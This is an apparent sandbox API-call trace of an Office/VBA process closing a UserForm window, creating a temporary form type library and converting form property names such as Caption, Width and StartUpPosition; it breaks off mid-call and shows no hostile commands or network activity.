[0018.000] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0018.000] IUnknown:QueryInterface (in: This=0x4f5a150, riid=0x7fef41e7018*(Data1=0xb196b288, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x264340 | out: ppvObject=0x264340*=0x6f840a0) returned 0x0 [0018.000] IUnknown:QueryInterface (in: This=0x4f5a150, riid=0x7fef41e7138*(Data1=0x112, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264200 | out: ppvObject=0x264200*=0x6f840a0) returned 0x0 [0018.001] LoadAcceleratorsA (hInstance=0x7fef3f10000, lpTableName=0x3e8) returned 0x601bd [0018.001] IsWindow (hWnd=0x10262) returned 1 [0018.001] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x210, wParam=0x1, lParam=0x10262) returned 0x0 [0018.044] PostMessageA (hWnd=0x10260, Msg=0x105f, wParam=0x0, lParam=0x0) returned 1 [0018.044] GetCurrentThreadId () returned 0x938 [0018.044] CExposedStream::Commit () returned 0x0 [0018.044] CExposedStream::Release () returned 0x0 [0018.044] GlobalHandle (pMem=0x6dafa90) returned 0x5080078 [0018.044] GlobalUnlock (hMem=0x5080078) returned 0 [0018.045] SetFocus (hWnd=0x20206) returned 0x20206 [0018.045] IUnknown:AddRef (This=0x4f5a150) returned 0x0 [0018.045] IUnknown:QueryInterface (in: This=0x4f5a150, riid=0x7fef41d1af0*(Data1=0x468cfb80, Data2=0xb4f9, Data3=0x11cf, Data4=([0]=0x80, [1]=0xdd, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x61, [6]=0x48, [7]=0x95)), ppvObject=0x264688 | out: ppvObject=0x264688*=0x6f83260) returned 0x0 [0018.046] GetCapture () returned 0x0 [0018.046] ShowWindow (hWnd=0x10260, nCmdShow=0) returned 0 [0018.046] GetParent (hWnd=0x10260) returned 0x1025e [0018.046] IUnknown:QueryInterface (in: This=0x4f5a150, riid=0x7fef41e7178*(Data1=0x113, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264290 | out: ppvObject=0x264290*=0x4f5a1e0) returned 0x0 [0018.046] IUnknown:AddRef (This=0x4f5a1e0) returned 0x0 [0018.046] IOleInPlaceObject:InPlaceDeactivate (This=0x4f5a1e0) returned 0x0 [0018.046] IsWindow (hWnd=0x10262) returned 1 [0018.046] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x210, wParam=0x2, lParam=0x10262) returned 0x0 [0018.047] IUnknown:Release (This=0x4f5a1e0) returned 0x0 [0018.047] IUnknown:Release (This=0x4f5a1e0) returned 0x0 [0018.047] IUnknown:QueryInterface (in: This=0x4f5a150, riid=0x7fef41caa78*(Data1=0xb196b284, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x2642f8 | out: ppvObject=0x2642f8*=0x7472a80) returned 0x0 [0018.047] IConnectionPointContainer:FindConnectionPoint (in: This=0x7472a80, riid=0x7fef41d83a8*(Data1=0x9bfbbc02, Data2=0xeff1, Data3=0x101a, Data4=([0]=0x84, [1]=0xed, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppCP=0x2642f0 | out: ppCP=0x2642f0*=0x7472a98) returned 0x0 [0018.047] IConnectionPoint:Unadvise (This=0x7472a98, dwCookie=0xffffffff) returned 0x0 [0018.047] IUnknown:Release (This=0x7472a98) returned 0x0 [0018.047] IUnknown:Release (This=0x7472a80) returned 0x0 [0018.047] IUnknown:QueryInterface (in: This=0x4f5a150, riid=0x7fef41e7198*(Data1=0x10d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264300 | out: ppvObject=0x264300*=0x4f5a168) returned 0x0 [0018.047] IViewObject:SetAdvise (This=0x4f5a168, aspects=0x1, advf=0x0, pAdvSink=0x0) returned 0x0 [0018.047] IUnknown:Release (This=0x4f5a168) returned 0x0 [0018.047] IUnknown:Release (This=0x4f5a150) returned 0x0 [0018.047] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x1081, wParam=0x0, lParam=0x0) returned 0x0 [0018.047] GetWindow (hWnd=0x10260, uCmd=0x5) returned 0x0 [0018.047] DestroyWindow (hWnd=0x10260) returned 1 [0018.047] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0018.048] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0018.048] NtdllDefWindowProc_A (hWnd=0x10260, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0018.048] GetFocus () returned 0x20206 [0018.048] IUnknown:Release (This=0x4f5a150) returned 0x0 [0018.049] IUnknown:QueryInterface (in: This=0x759e888, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264678 | out: ppvObject=0x264678*=0x0) returned 0x80004002 [0018.049] IUnknown:QueryInterface (in: This=0x759e888, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2646f0 | out: ppvObject=0x2646f0*=0x0) returned 0x80004002 [0018.049] IUnknown:QueryInterface (in: This=0x759e888, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264660 | out: ppvObject=0x264660*=0x0) returned 0x80004002 [0018.049] IUnknown:QueryInterface (in: This=0x759e888, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2646e0 | out: ppvObject=0x2646e0*=0x0) returned 0x80004002 [0018.049] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e888, ppTypeAttr=0x264668, pDummy=0x10 | out: ppTypeAttr=0x264668, pDummy=0x10) returned 0x0 [0018.049] ITypeInfo:LocalReleaseTypeAttr (This=0x759e888) returned 0x0 [0018.049] IUnknown:AddRef (This=0x759e888) returned 0x3 [0018.049] IUnknown:Release (This=0x759e768) returned 0x2 [0018.049] IUnknown:Release (This=0x7552b70) returned 0x1 [0018.049] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x759e888, ppTLib=0x264608, pIndex=0x264654 | out: ppTLib=0x264608*=0x747bbb0, pIndex=0x264654*=0x1) returned 0x0 [0018.049] CreateTypeLib2 (in: syskind=0x1, szFile="TempFormFrame.exd", ppctlib=0x2645e8*=0x0 | out: ppctlib=0x2645e8*=0x747be88) returned 0x0 [0018.049] ITypeLib:RemoteGetLibAttr (in: This=0x747bbb0, ppTLibAttr=0x264610, pDummy=0x6 | out: ppTLibAttr=0x264610, pDummy=0x6) returned 0x0 [0018.049] CoCreateGuid (in: pguid=0x264660 | out: pguid=0x264660*(Data1=0x715c4aa9, Data2=0x3b7b, Data3=0x4f92, Data4=([0]=0xa7, [1]=0xe8, [2]=0x65, [3]=0x31, [4]=0x80, [5]=0x8f, [6]=0x41, [7]=0x1c))) returned 0x0 [0018.050] ICreateTypeLib:SetGuid (This=0x747be88, GUID=0x264660*(Data1=0x715c4aa9, Data2=0x3b7b, Data3=0x4f92, Data4=([0]=0xa7, [1]=0xe8, [2]=0x65, [3]=0x31, [4]=0x80, [5]=0x8f, [6]=0x41, [7]=0x1c))) returned 0x0 [0018.050] ICreateTypeLib:SetLcid (This=0x747be88, lcid=0x409) returned 0x0 [0018.050] ICreateTypeLib:SetLibFlags (This=0x747be88, uLibFlags=0x0) returned 0x0 [0018.050] ICreateTypeLib:SetVersion (This=0x747be88, wMajorVerNum=0x0, wMinorVerNum=0x0) returned 0x0 [0018.050] ITypeLib:RemoteGetDocumentation (in: This=0x747bbb0, index=-1, refPtrFlags=0x2645f0, pbstrName=0x264648, pBstrDocString=0x264650, pdwHelpContext=0x264638, pBstrHelpFile=0x60 | out: pbstrName=0x264648*=0x0, pBstrDocString=0x264650, pdwHelpContext=0x264638*=0x0, pBstrHelpFile=0x60) returned 0x0 [0018.050] ICreateTypeLib:SetName (This=0x747be88, szName="F3Dynamic") returned 0x0 [0018.050] ICreateTypeLib:SetHelpContext (This=0x747be88, dwHelpContext=0x0) returned 0x0 [0018.050] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e888, ppTypeAttr=0x264520, pDummy=0x264628 | out: ppTypeAttr=0x264520, pDummy=0x264628*=0x0) returned 0x0 [0018.050] ITypeInfo:GetImplTypeFlags (in: This=0x759e888, index=0x0, pImplTypeFlags=0x26452c | out: pImplTypeFlags=0x26452c*=1) returned 0x0 [0018.050] ITypeInfo:GetImplTypeFlags (in: This=0x759e888, index=0x1, pImplTypeFlags=0x26452c | out: pImplTypeFlags=0x26452c*=3) returned 0x0 [0018.050] ITypeInfo:GetRefTypeOfImplType (in: This=0x759e888, index=0x0, pRefType=0x264504 | out: pRefType=0x264504*=0x0) returned 0x0 [0018.050] ITypeInfo:GetRefTypeInfo (in: This=0x759e888, hreftype=0x0, ppTInfo=0x264510 | out: ppTInfo=0x264510*=0x759e828) returned 0x0 [0018.050] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e828, ppTypeAttr=0x264540, pDummy=0x2644f0 | out: ppTypeAttr=0x264540, pDummy=0x2644f0*=0x264558) returned 0x0 [0018.050] ITypeInfo:LocalReleaseTypeAttr (This=0x759e828) returned 0x0 [0018.050] ITypeInfo:GetRefTypeOfImplType (in: This=0x759e888, index=0x1, pRefType=0x264504 | out: pRefType=0x264504*=0x19) returned 0x0 [0018.050] ITypeInfo:GetRefTypeInfo (in: This=0x759e888, hreftype=0x19, ppTInfo=0x264518 | out: ppTInfo=0x264518*=0x7552b70) returned 0x0 [0018.050] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552b70, ppTypeAttr=0x2645b0, pDummy=0x2644f0 | out: ppTypeAttr=0x2645b0, pDummy=0x2644f0*=0x264558) returned 0x0 [0018.050] ITypeInfo:LocalReleaseTypeAttr (This=0x7552b70) returned 0x0 [0018.050] ITypeInfo:LocalReleaseTypeAttr (This=0x759e888) returned 0x0 [0018.050] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552b70, ppTypeAttr=0x264630, pDummy=0x6 | out: ppTypeAttr=0x264630, pDummy=0x6) returned 0x0 [0018.050] ITypeInfo:LocalReleaseTypeAttr (This=0x7552b70) returned 0x0 [0018.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420ae00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0018.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420ae00, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=11 | out: lpWideCharStr="Initialize") returned 11 [0018.050] wcscpy_s (in: _Destination=0x6f80960, _SizeInWords=0xb, _Source="Initialize" | out: _Destination="Initialize") returned 0x0 [0018.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a980, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0018.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a980, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=7 | out: lpWideCharStr="Resize") returned 7 [0018.050] wcscpy_s (in: _Destination=0x6f80f00, _SizeInWords=0x7, _Source="Resize" | out: _Destination="Resize") returned 0x0 [0018.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420adc8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0018.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420adc8, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=11 | out: lpWideCharStr="QueryClose") returned 11 [0018.050] wcscpy_s (in: _Destination=0x6f809f0, _SizeInWords=0xb, _Source="QueryClose" | out: _Destination="QueryClose") returned 0x0 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420adb8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420adb8, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=9 | out: lpWideCharStr="Activate") returned 9 [0018.051] wcscpy_s (in: _Destination=0x6f80f60, _SizeInWords=0x9, _Source="Activate" | out: _Destination="Activate") returned 0x0 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a7c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a7c0, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=11 | out: lpWideCharStr="Deactivate") returned 11 [0018.051] wcscpy_s (in: _Destination=0x6f80a80, _SizeInWords=0xb, _Source="Deactivate" | out: _Destination="Deactivate") returned 0x0 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420ae38, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420ae38, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=10 | out: lpWideCharStr="Terminate") returned 10 [0018.051] wcscpy_s (in: _Destination=0x6f80480, _SizeInWords=0xa, _Source="Terminate" | out: _Destination="Terminate") returned 0x0 [0018.051] wcscpy_s (in: _Destination=0x6f80b10, _SizeInWords=0x7, _Source="Object" | out: _Destination="Object") returned 0x0 [0018.051] wcscpy_s (in: _Destination=0x6f81050, _SizeInWords=0x5, _Source="Name" | out: _Destination="Name") returned 0x0 [0018.051] wcscpy_s (in: _Destination=0x6f80840, _SizeInWords=0x7, _Source="Parent" | out: _Destination="Parent") returned 0x0 [0018.051] wcscpy_s (in: _Destination=0x6f808d0, _SizeInWords=0x7, _Source="Delete" | out: _Destination="Delete") returned 0x0 [0018.051] wcscpy_s (in: _Destination=0x6f80720, _SizeInWords=0x6, _Source="Index" | out: _Destination="Index") returned 0x0 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420ae90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420ae90, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=5 | out: lpWideCharStr="Name") returned 5 [0018.051] wcscpy_s (in: _Destination=0x6f807b0, _SizeInWords=0x5, _Source="Name" | out: _Destination="Name") returned 0x0 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a5a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a5a8, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=8 | out: lpWideCharStr="Caption") returned 8 [0018.051] wcscpy_s (in: _Destination=0x6f7d0c0, _SizeInWords=0x8, _Source="Caption" | out: _Destination="Caption") returned 0x0 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a5a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a5a8, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=8 | out: lpWideCharStr="Caption") returned 8 [0018.051] wcscpy_s (in: _Destination=0x6f80cc0, _SizeInWords=0x8, _Source="Caption" | out: _Destination="Caption") returned 0x0 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a488, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a488, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=5 | out: lpWideCharStr="Left") returned 5 [0018.051] wcscpy_s (in: _Destination=0x6f80d80, _SizeInWords=0x5, _Source="Left" | out: _Destination="Left") returned 0x0 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a488, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0018.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a488, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=5 | out: lpWideCharStr="Left") returned 5 [0018.051] wcscpy_s (in: _Destination=0x6f80ba0, _SizeInWords=0x5, _Source="Left" | out: _Destination="Left") returned 0x0 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a4b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a4b8, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=4 | out: lpWideCharStr="Top") returned 4 [0018.052] wcscpy_s (in: _Destination=0x746cf90, _SizeInWords=0x4, _Source="Top" | out: _Destination="Top") returned 0x0 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a4b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a4b8, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=4 | out: lpWideCharStr="Top") returned 4 [0018.052] wcscpy_s (in: _Destination=0x746cef0, _SizeInWords=0x4, _Source="Top" | out: _Destination="Top") returned 0x0 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a4e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a4e8, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=6 | out: lpWideCharStr="Width") returned 6 [0018.052] wcscpy_s (in: _Destination=0x6f80c30, _SizeInWords=0x6, _Source="Width" | out: _Destination="Width") returned 0x0 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a4e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a4e8, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=6 | out: lpWideCharStr="Width") returned 6 [0018.052] wcscpy_s (in: _Destination=0x6f805d0, _SizeInWords=0x6, _Source="Width" | out: _Destination="Width") returned 0x0 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a518, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a518, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=7 | out: lpWideCharStr="Height") returned 7 [0018.052] wcscpy_s (in: _Destination=0x6f80e10, _SizeInWords=0x7, _Source="Height" | out: _Destination="Height") returned 0x0 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a518, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a518, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=7 | out: lpWideCharStr="Height") returned 7 [0018.052] wcscpy_s (in: _Destination=0x6f80e40, _SizeInWords=0x7, _Source="Height" | out: _Destination="Height") returned 0x0 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a548, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a548, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=8 | out: lpWideCharStr="Enabled") returned 8 [0018.052] wcscpy_s (in: _Destination=0x6f80690, _SizeInWords=0x8, _Source="Enabled" | out: _Destination="Enabled") returned 0x0 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a548, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a548, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=8 | out: lpWideCharStr="Enabled") returned 8 [0018.052] wcscpy_s (in: _Destination=0x6f80e70, _SizeInWords=0x8, _Source="Enabled" | out: _Destination="Enabled") returned 0x0 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420aea0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420aea0, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=8 | out: lpWideCharStr="Visible") returned 8 [0018.052] wcscpy_s (in: _Destination=0x6f7d0f0, _SizeInWords=0x8, _Source="Visible" | out: _Destination="Visible") returned 0x0 [0018.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a5d8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a5d8, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=4 | out: lpWideCharStr="Tag") returned 4 [0018.053] wcscpy_s (in: _Destination=0x75743f0, _SizeInWords=0x4, _Source="Tag" | out: _Destination="Tag") returned 0x0 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a5d8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a5d8, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=4 | out: lpWideCharStr="Tag") returned 4 [0018.053] wcscpy_s (in: _Destination=0x7574410, _SizeInWords=0x4, _Source="Tag" | out: _Destination="Tag") returned 0x0 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a610, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a610, cbMultiByte=-1, lpWideCharStr=0x7320c28, cchWideChar=14 | out: lpWideCharStr="HelpContextID") returned 14 [0018.053] wcscpy_s (in: _Destination=0x7320bf0, _SizeInWords=0xe, _Source="HelpContextID" | out: _Destination="HelpContextID") returned 0x0 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a610, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a610, cbMultiByte=-1, lpWideCharStr=0x7320c28, cchWideChar=14 | out: lpWideCharStr="HelpContextID") returned 14 [0018.053] wcscpy_s (in: _Destination=0x7320cf0, _SizeInWords=0xe, _Source="HelpContextID" | out: _Destination="HelpContextID") returned 0x0 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef4209f98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef4209f98, cbMultiByte=-1, lpWideCharStr=0x7320c28, cchWideChar=16 | out: lpWideCharStr="WhatsThisButton") returned 16 [0018.053] wcscpy_s (in: _Destination=0x7320d30, _SizeInWords=0x10, _Source="WhatsThisButton" | out: _Destination="WhatsThisButton") returned 0x0 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef4209fd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef4209fd0, cbMultiByte=-1, lpWideCharStr=0x7320c28, cchWideChar=14 | out: lpWideCharStr="WhatsThisHelp") returned 14 [0018.053] wcscpy_s (in: _Destination=0x7320cb0, _SizeInWords=0xe, _Source="WhatsThisHelp" | out: _Destination="WhatsThisHelp") returned 0x0 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420aee0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420aee0, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=12 | out: lpWideCharStr="RightToLeft") returned 12 [0018.053] wcscpy_s (in: _Destination=0x6f804b0, _SizeInWords=0xc, _Source="RightToLeft" | out: _Destination="RightToLeft") returned 0x0 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420aee0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420aee0, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=12 | out: lpWideCharStr="RightToLeft") returned 12 [0018.053] wcscpy_s (in: _Destination=0x6f80540, _SizeInWords=0xc, _Source="RightToLeft" | out: _Destination="RightToLeft") returned 0x0 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef4209f00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef4209f00, cbMultiByte=-1, lpWideCharStr=0x7320c28, cchWideChar=16 | out: lpWideCharStr="StartUpPosition") returned 16 [0018.053] wcscpy_s (in: _Destination=0x73210b0, _SizeInWords=0x10, _Source="StartUpPosition" | out: _Destination="StartUpPosition") returned 0x0 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef4209f00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0018.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef4209f00, cbMultiByte=-1, lpWideCharStr=0x7320c28, cchWideChar=16 | out: lpWideCharStr="StartUpPosition") returned 16 [0018.053] wcscpy_s (in: _Destination=0x73210f0, 